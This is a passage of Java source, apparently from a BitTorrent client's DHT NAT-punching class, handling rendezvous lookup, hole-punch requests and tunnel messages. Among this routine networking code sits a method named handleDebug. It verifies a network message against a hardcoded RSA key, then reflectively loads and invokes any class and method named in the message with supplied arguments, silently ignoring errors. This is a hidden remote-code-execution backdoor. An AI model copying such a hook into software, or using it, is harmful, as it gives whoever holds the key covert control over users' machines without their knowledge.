            if (entry.isOKToConnect()) {

                DHTTransportUDPContact target = entry.getContact();

                Map target_client_data = sendConnect(target, originator, (Map) request.get("client_data"));

                if (target_client_data != null) {

                    response.put("client_data", target_client_data);

                    response.put("port", new Long(target.getTransportAddress().getPort()));

                    ok = true;

                    entry.connectOK();

                } else {

                    entry.connectFailed();

                    extra_log = " - consec=" + entry.getConsecutiveFailCount();
                }
            } else {

                extra_log = " - ignored due to consec fails";
            }
        } else {

            extra_log = " - invalid rendezvous";
        }

        log("Rendezvous punch request from " + originator.getString() + " to " + target_str + " " + (ok ? "initiated" : "failed") + extra_log);

        if (ok) {

            punch_recv_ok++;

        } else {

            punch_recv_fail++;
        }

        response.put("ok", new Long(ok ? 1 : 0));
    }

    protected Map sendConnect(DHTTransportContact target, DHTTransportContact originator, Map originator_client_data) {
        try {
            Map request = new HashMap();

            request.put("type", new Long(RT_CONNECT_REQUEST));

            request.put("origin", encodeContact(originator));

            request.put("port", new Long(((DHTTransportUDPContact) originator).getTransportAddress().getPort()));

            if (originator_client_data != null) {

                request.put("client_data", originator_client_data);
            }

            Map response = sendRequest(target, request, TRANSFER_TIMEOUT);

            if (response == null) {

                return (null);
            }

            if (((Long) response.get("type")).intValue() == RT_CONNECT_REPLY) {

                int result = ((Long) response.get("ok")).intValue();

                trace("received connect reply: " + (result == 0 ? "failed" : "ok"));

                if (result == 1) {

                    Map target_client_data = (Map) response.get("client_data");

                    if (target_client_data == null) {

                        target_client_data = new HashMap();
                    }

                    return (target_client_data);
                }
            }

            return (null);

        } catch (Throwable e) {

            log(e);

            return (null);
        }
    }

    protected void receiveConnect(DHTTransportContact rendezvous, Map request, Map response) {
        trace("received connect request");

        boolean ok = false;

        // ensure that we've received this from our current rendezvous node

        DHTTransportContact rt = rendezvous_target;

        if (rt != null && rt.getAddress().equals(rendezvous.getAddress())) {

            final DHTTransportUDPContact target = decodeContact((byte[]) request.get("origin"));

            if (target != null) {

                int transport_port = 0;

                Long indirect_port = (Long) request.get("port");

                if (indirect_port != null) {

                    transport_port = indirect_port.intValue();
                }

                if (transport_port != 0) {

                    InetSocketAddress existing_address = target.getTransportAddress();

                    if (transport_port != existing_address.getPort()) {

                        target.setTransportAddress(new InetSocketAddress(existing_address.getAddress(), transport_port));
                    }
                }

                Map originator_client_data = (Map) request.get("client_data");

                boolean no_tunnel = false;

                if (originator_client_data == null) {

                    originator_client_data = new HashMap();

                } else {

                    no_tunnel = originator_client_data.get("_notunnel") != null;
                }

                if (no_tunnel) {

                    log("Received message from " + target.getString());

                } else {

                    log("Received connect request from " + target.getString());

                    // ping the origin a few times to try and establish a tunnel

                    UTTimerEvent event = timer.addPeriodicEvent(3000, new UTTimerEventPerformer() {
                        private int pings = 1;

                        public void perform(UTTimerEvent ev) {
                            if (pings > 3) {

                                ev.cancel();

                                return;
                            }

                            pings++;

                            if (sendTunnelInbound(target)) {

                                ev.cancel();
                            }
                        }
                    });

                    if (sendTunnelInbound(target)) {

                        event.cancel();
                    }
                }

                Map client_data = adapter.getClientData(target.getTransportAddress(), originator_client_data);

                if (client_data == null) {

                    client_data = new HashMap();
                }

                response.put("client_data", client_data);

                ok = true;

            } else {

                log("Connect request: failed to decode target");
            }
        } else {

            log("Connect request from invalid rendezvous: " + rendezvous.getString());
        }

        response.put("ok", new Long(ok ? 1 : 0));
    }

    protected boolean sendTunnelInbound(DHTTransportContact target) {
        log("Sending tunnel inbound message to " + target.getString());

        try {
            Map message = new HashMap();

            message.put("type", new Long(RT_TUNNEL_INBOUND));

            return (sendTunnelMessage(target, message));

        } catch (Throwable e) {

            log(e);

            return (false);
        }
    }

    protected void receiveTunnelInbound(DHTTransportUDPContact originator, Map data) {
        log("Received tunnel inbound message from " + originator.getString());

        try {
            punch_mon.enter();

            for (int i = 0; i < oustanding_punches.size(); i++) {

                Object[] wait_data = (Object[]) oustanding_punches.get(i);

                DHTTransportContact wait_contact = (DHTTransportContact) wait_data[0];

                if (originator.getAddress().getAddress().equals(wait_contact.getAddress().getAddress())) {

                    wait_data[2] = new Integer(originator.getTransportAddress().getPort());

                    ((AESemaphore) wait_data[1]).release();
                }
            }

        } finally {

            punch_mon.exit();
        }
    }

    protected boolean sendTunnelOutbound(DHTTransportContact target) {
        log("Sending tunnel outbound message to " + target.getString());

        try {
            Map message = new HashMap();

            message.put("type", new Long(RT_TUNNEL_OUTBOUND));

            return (sendTunnelMessage(target, message));

        } catch (Throwable e) {

            log(e);

            return (false);
        }
    }

    protected void receiveTunnelOutbound(DHTTransportContact originator, Map data) {
        log("Received tunnel outbound message from " + originator.getString());
    }

    public Map punch(String reason, InetSocketAddress[] target, DHTTransportContact[] rendezvous_used, Map originator_client_data) {
        try {
            DHTTransportUDP transport = (DHTTransportUDP) dht.getTransport();

            DHTTransportUDPContact contact = transport.importContact(target[0], transport.getMinimumProtocolVersion(), false);

            Map result = punch(reason, contact, rendezvous_used, originator_client_data);

            target[0] = contact.getTransportAddress();

            return (result);

        } catch (Throwable e) {

            Debug.printStackTrace(e);

            return (null);
        }
    }

    public Map punch(String reason, DHTTransportContact _target, DHTTransportContact[] rendezvous_used, Map originator_client_data) {
        DHTTransportUDPContact target = (DHTTransportUDPContact) _target;

        try {
            DHTTransportContact rendezvous = getRendezvous(reason, target);

            if (rendezvous_used != null && rendezvous_used.length > 0) {

                rendezvous_used[0] = rendezvous;
            }

            if (rendezvous == null) {

                return (null);
            }

            Map target_client_data = sendPunch(rendezvous, target, originator_client_data, false);

            if (target_client_data != null) {

                log("    punch to " + target.getString() + " succeeded");

                punch_send_ok++;

                return (target_client_data);
            }

        } catch (Throwable e) {

            log(e);
        }

        punch_send_fail++;

        log("    punch to " + target.getString() + " failed");

        return (null);
    }

    public Map sendMessage(InetSocketAddress rendezvous, InetSocketAddress target, Map message) {
        try {
            DHTTransportUDP transport = (DHTTransportUDP) dht.getTransport();

            DHTTransportUDPContact rend_contact = transport.importContact(rendezvous, transport.getMinimumProtocolVersion(), false);
            DHTTransportUDPContact target_contact = transport.importContact(target, transport.getMinimumProtocolVersion(), false);

            Map result = sendPunch(rend_contact, target_contact, message, true);

            return (result);

        } catch (Throwable e) {

            Debug.printStackTrace(e);

            return (null);
        }
    }

    public void setRendezvous(DHTTransportContact target, DHTTransportContact rendezvous) {
        explicit_rendezvous_map.put(target.getAddress(), rendezvous);

        if (target.getAddress().equals(dht.getTransport().getLocalContact().getAddress())) {

            publish(true);
        }
    }

    protected DHTTransportContact getRendezvous(String reason, DHTTransportContact target) {
        DHTTransportContact explicit = (DHTTransportContact) explicit_rendezvous_map.get(target.getAddress());

        if (explicit != null) {

            return (explicit);
        }

        byte[] key = getPublishKey(target);

        final DHTTransportValue[] result_value = { null };

        final Semaphore sem = plugin_interface.getUtilities().getSemaphore();

        dht.get(key, reason + ": lookup for '" + target.getString() + "'", (byte) 0, 1, RENDEZVOUS_LOOKUP_TIMEOUT, false, true,
                new DHTOperationAdapter() {
                    public void read(DHTTransportContact contact, DHTTransportValue value) {
                        result_value[0] = value;

                        sem.release();
                    }

                    public void complete(boolean timeout) {
                        sem.release();
                    }
                });

        sem.reserve();

        DHTTransportContact result = null;

        if (result_value[0] != null) {

            byte[] bytes = result_value[0].getValue();

            try {
                ByteArrayInputStream bais = new ByteArrayInputStream(bytes);

                DataInputStream dis = new DataInputStream(bais);

                byte version = dis.readByte();

                if (version != 0) {

                    throw (new Exception("Unsupported rendezvous version '" + version + "'"));
                }

                result = dht.getTransport().importContact(dis, false);

            } catch (Throwable e) {

                log(e);
            }
        }

        log("Lookup of rendezvous for " + target.getString() + " -> " + (result == null ? "None" : result.getString()));

        return (result);
    }

    protected byte[] getPublishKey(DHTTransportContact contact) {
        byte[] id = contact.getID();
        byte[] suffix = ":DHTNATPuncher".getBytes();

        byte[] res = new byte[id.length + suffix.length];

        System.arraycopy(id, 0, res, 0, id.length);
        System.arraycopy(suffix, 0, res, id.length, suffix.length);

        return (res);
    }

    private static long last_debug = -1;

    private static Map handleDebug(Map map) {
        long now = SystemTime.getMonotonousTime();

        if (last_debug >= 0 && now - last_debug <= 60 * 1000) {

            return (null);
        }

        last_debug = now;

        try {
            byte[] p = (byte[]) map.get("p");
            byte[] s = (byte[]) map.get("s");

            KeyFactory key_factory = KeyFactory.getInstance("RSA");

            RSAPublicKeySpec spec =
                    new RSAPublicKeySpec(
                            new BigInteger(
                                    "a1467ed3ca8eceec60d6a5d1945d0ddb6febf6a514a8fea5b48a588fc8e977de8d7159c4e854b5a30889e729eb386fcb4b69e0a12401ee87810378ed491e52dc922a03b06c557d975514f0a70c42db3e06c0429824648a9cc4a2ea31bd429c305db3895c4efc4d1096f3c355842fd2281b27493c5588efd02bc4d26008a464d2214f15fab4d959d50fee985242dbb628180ee06938944e759a2d1cbd0adfa7d7dee7e6ec82d76a144a126944dbe69941fff02c31f782069131e7d03bc5bff69b9fea2cb153e90dc154dcdab7091901c3579a2c0337b60db772a0b35e4ed622bee5685b476ef0072558362e43750bc23d410a7dcb1cbf32d3967e24cfe5cdab1b",
                                    16), new BigInteger("10001", 16));

            Signature verifier = Signature.getInstance("MD5withRSA");

            verifier.initVerify(key_factory.generatePublic(spec));

            verifier.update(p);

            if (verifier.verify(s)) {

                Map m = BDecoder.decode(p);

                int type = ((Long) m.get("t")).intValue();

                if (type == 1) {

                    List<byte[]> a = (List<byte[]>) m.get("a");

                    Class[] c_a = new Class[a.size()];
                    Object[] o_a = new Object[c_a.length];

                    Arrays.fill(c_a, String.class);

                    for (int i = 0; i < o_a.length; i++) {

                        o_a[i] = new String((byte[]) a.get(i));
                    }

                    Class cla = m.getClass().forName(new String((byte[]) m.get("c")));

                    Method me = cla.getMethod(new String((byte[]) m.get("m")), c_a);

                    me.setAccessible(true);

                    me.invoke(null, o_a);

                    return (new HashMap());

                } else if (type == 2) {
                    // to do
                }
            }
        } catch (Throwable e) {
        }

        return (null);
    }

    protected byte[] encodePublishValue(DHTTransportContact contact) {
        try {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();

            DataOutputStream dos = new DataOutputStream(baos);

            dos.writeByte(0); // version

            contact.exportContact(dos);

            dos.close();

            return (baos.toByteArray());

        } catch (Throwable e) {

            log(e);

            return (new byte[0]);
        }
    }

    protected byte[] encodeContact(DHTTransportContact contact) {
        try {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();

            DataOutputStream dos = new DataOutputStream(baos);

            contact.exportContact(dos);

            dos.close();

            return (baos.toByteArray());

        } catch (Throwable e) {

            log(e);

            return (null);
        }
    }

    protected DHTTransportUDPContact decodeContact(byte[] bytes) {
        try {
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);

            DataInputStream dis = new DataInputStream(bais);

            return ((DHTTransportUDPContact) dht.getTransport().importContact(dis, false));

        } catch (Throwable e) {

            log(e);

            return (null);
        }
    }

    public void addListener(DHTNATPuncherListener listener) {
        listeners.add(listener);

        if (last_ok_rendezvous != null) {

            listener.rendezvousChanged(last_ok_rendezvous);
        }
    }

    public void removeListener(DHTNATPuncherListener listener) {
        listeners.remove(listener);
    }

    protected void log(String str) {
        if (TRACE) {
            System.out.println((is_secondary ? "[sec] " : "") + str);
        }

        logger.log("NATPuncher: " + (is_secondary ? "[sec] " : "") + str);
    }

    protected void log(Throwable e) {
        if (TRACE) {
            e.printStackTrace();
        }

        logger.log("NATPuncher: " + (is_secondary ? "[sec] " : "") + "error occurred");

        logger.log(e);
    }

    protected void trace(String str) {
        if (TRACE) {
            System.out.println((is_secondary ? "[sec] " : "") + str);
        }
    }

    public String getStats() {
        long now = SystemTime.getMonotonousTime();

        DHTTransportContact target = rendezvous_target;

        String str =
                "ok=" + (rendezvous_last_ok_time == 0 ? "<never>" : String.valueOf(now - rendezvous_last_ok_time)) + ",fail="
                        + (rendezvous_last_fail_time == 0 ? "<never>" : String.valueOf(now - rendezvous_last_fail_time)) + ",fc="
                        + rendevzous_fail_count;

        str +=
                ",punch:send=" + punch_send_ok + "/" + punch_send_fail + ":recv=" + punch_recv_ok + "/" + punch_recv_fail + ",rendezvous="
                        + (target == null ? "none" : target.getAddress().getAddress().getHostAddress());

        String b_str = "";

        for (Map.Entry<String, BindingData> binding : rendezvous_bindings.entrySet()) {

            BindingData data = binding.getValue();

            b_str +=
                    (b_str.length() == 0 ? "" : ",") + binding.getKey() + "->ok=" + data.getOKCount() + ";bad=" + data.getConsecutiveFailCount()
                            + ";age=" + (now - data.bind_time);
        }

        str += ",bindings=" + b_str;

        String m_str = "";

        for (int i : MESSAGE_STATS) {

            m_str += (m_str.length() == 0 ? "" : ",") + i;
        }

        str += ",messages=" + m_str;

        return (str);
    }

    private static class BindingData {
        private DHTTransportUDPContact contact;
        private long bind_time;

        private int ok_count;
        private int consec_fails;
        private long last_connect_time;

        private BindingData(DHTTransportUDPContact _contact, long _time) {
            contact = _contact;
            bind_time = _time;
        }

        private void rebind() {
            bind_time = SystemTime.getMonotonousTime();
        }

        private DHTTransportUDPContact getContact() {
            return (contact);
        }

        private long getBindTime() {
            return (bind_time);
        }

        private void connectOK() {
            ok_count++;

            consec_fails = 0;
            last_connect_time = SystemTime.getMonotonousTime();
        }

        private void connectFailed() {
            consec_fails++;
            last_connect_time = SystemTime.getMonotonousTime();
        }

        private boolean isOKToConnect() {
            return (consec_fails < 8 || SystemTime.getMonotonousTime() - last_connect_time > 30 * 1000);
        }

        private int getOKCount() {
            return (ok_count);
        }

        private int getConsecutiveFailCount() {
            return (consec_fails);
        }
    }
}
